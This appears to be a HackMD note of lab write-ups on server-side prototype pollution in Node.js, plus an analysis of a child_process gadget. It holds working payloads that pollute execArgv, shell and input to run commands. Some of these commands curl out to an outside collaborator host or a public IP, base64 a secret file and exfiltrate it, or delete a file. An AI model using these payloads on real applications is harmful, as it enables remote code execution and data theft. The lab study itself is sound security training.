ws://127.0.0.1:9926/57a078d8-f94f-4a35-bf5d-49e2c7940d76 For help, see: https://nodejs.org/en/docs/inspector % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5224 100 5224 0 0 284k 0 --:--:-- --:--:-- --:--:-- 300k ``` ![](https://hackmd.io/_uploads/SJV6G8h02.png) Payload (RCE) ```json "__proto__":{ "execArgv":[--eval=require('child_process').execSync('curl http://127.0.0.1:8000')]" } ``` ## LAB RCE via server-side prototype pollution Analysis: ### Charset Override ```json "constructor":{ "prototype":{ "content-type": "application/json; charset=utf-7" } } ``` Request ![](https://hackmd.io/_uploads/HJ4GXu2A2.png) Response ![](https://hackmd.io/_uploads/HJwgQu3A2.png) We are certain that this service easily susceptible by the prototype pollution ### Probe Remote COde execution POST /admin/jobs ![](https://hackmd.io/_uploads/Hyd2N_2R2.png) Database clean and File system cleanup are highly likely to use Fork() ``` const {fork} = require('child_process') const execArgsOptions=[ "--inspect=9926", "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')" ] const options ={ //property execArgv:execArgsOptions } const mainProcess = fork('child.js',[],options) ``` exploit payload ```json "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('curl https://3.25.65.151')" ] } ``` ![](https://hackmd.io/_uploads/BkORCdn03.png) "rm /home/carlos/morale.txt" ![](https://hackmd.io/_uploads/Bk4wJFnR2.png) ## child_process.execSync() execSync() method accept 'shell' and 'input' properties. we can injected certain property to write exploit script for arriving remote code execution. ```javascript const {execSync} = require('child_process') try { const command = 'grep "meowhecker"' const input = 'hellow meowhecker\n meowmeow\n' const result = execSync(command,{shell:'/bin/bash',input}) //if shell and input didn't defind, we could pollute it console.log("Result:", result.toString()) } catch (error){ console.error("Error", error.message) } ``` --- ==vulnerable== (Default execSync()) "shell and input probably haven't been defined " By polluting both of these property, you may be able to override the command that application intend to execute command. Note: shell:"executable binary file" it's generally tricky to use Node itself as a shell for your attack. the payload is passed via stdin the shell must be able to execute command from stdin. ### Vim, Ex (Potential Vector) ``` "shell":"vim", "input":"!: <command>\n" ``` ## LAB-Exfiltrating sensitive via serve-side prototype pollution HTTP Status Override json inject ```json "constructor": { "prototype":{ "status":555 } } ``` ![](https://hackmd.io/_uploads/HJ4GjX1k6.png) ![](https://hackmd.io/_uploads/HkT_iQJyT.png) --- Probe for Remote Code Execution ``` "constructor":{ "prototype":{ "shell":"vim", "input":":! curl http://1lnew78axsatxscyji29q55o1f76vwjl.oastify.com\n" } } ``` ![](https://hackmd.io/_uploads/H1BxDw-yp.png) --- ![](https://hackmd.io/_uploads/Byng_wbya.png) ![](https://hackmd.io/_uploads/rkgSQWgJ6.png) ``` ubuntu@ip-54-252-53-102:~$ ls test ubuntu@ip-54-252-53-102:~$ ls ./ test ubuntu@ip-54-252-53-102:~$ ls ./ | base64 dGVzdAo= ``` ```shell $ cat meotest | base64 | curl -d @- http://127.0.0.1:8000 ``` @- Reading the data from the standard input. ![](https://hackmd.io/_uploads/SJu15wZy6.png) --- Exploit (Exfiltrating sensitive data) ```json "__proto__":{ "shell":"vim", "input":"! echo 'meowhecker' | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/By9L1O-k6.png) --- ``` "__proto__":{ "shell":"vim", "input":"! ls /home/carlos | base64| curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/r16Aeu-ya.png) ![](https://hackmd.io/_uploads/Sy0TlOWya.png) ``` "__proto__":{ "shell":"vim", "input":"! cat /home/carlos/secret | base64 | curl -d @- http://y76f4empppokvgg4xj032uhxfolf96xv.oastify.com\n" } ``` ![](https://hackmd.io/_uploads/ryAVGO-JT.png) ![](https://hackmd.io/_uploads/ry09zOWkp.png) # Real-World Case Analysis # PP2RCE (prototype pollution to remote code Execution) Reference https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce ## Vulnerable Code Analysis ```javascript! //PP2RCE const { execSync, fork } = require('child_process'); // child_process -> module // execSync -> exec command // fork -> create sub proccess !! var object = { name:"test" } function f1(){ console.log('Im funciotn') } function isObject(obj){ console.log(typeof obj); return typeof obj === 'function' || typeof obj ==='object' } //console.log(isObject(f1)) //function //true //如果invoke f1() f1 沒有return -> defautl "undefined" !! function mergeObject(targer,source){ for(let key in source){ if(isObject(targer[key])&&isObject(source[key])){ mergeObject(targer[key],source[key]) } else{ targer[key] = source[key] } } return targer } function cloneObj(targerObj){ mergeObject({},targerObj) } // user object -> source clone(USERINPUT); var MainProcess = fork('execFileEcho.js') // echo meow>execFileEcho : execSync ``` ## Gadget when process is spawned with some method from child_process (fork() or spawn()) fork() will call the `normalizeSpawnArguments` function to create the Env Variable Source Code https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68 標準化Spawn參數 Function ```javascript var env = options.env || process.env; //638 ... // Prototype values are intentionally included. for (const key in env) { ArrayPrototypePush(envKeys, key); } for (const key of envKeys) { //681~686 const value = env[key]; if (value !== undefined) { ArrayPrototypePush(envPairs, `${key}=${value}`); } } ``` -> 686 (Gadget) If both options.env and process.env have values, the "env" will choose the value of options.env. -> 681~686 we can poison envPairs just by pollution the .env attribute __prototype__['env'] = ??? Attacker can Controlled (source)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully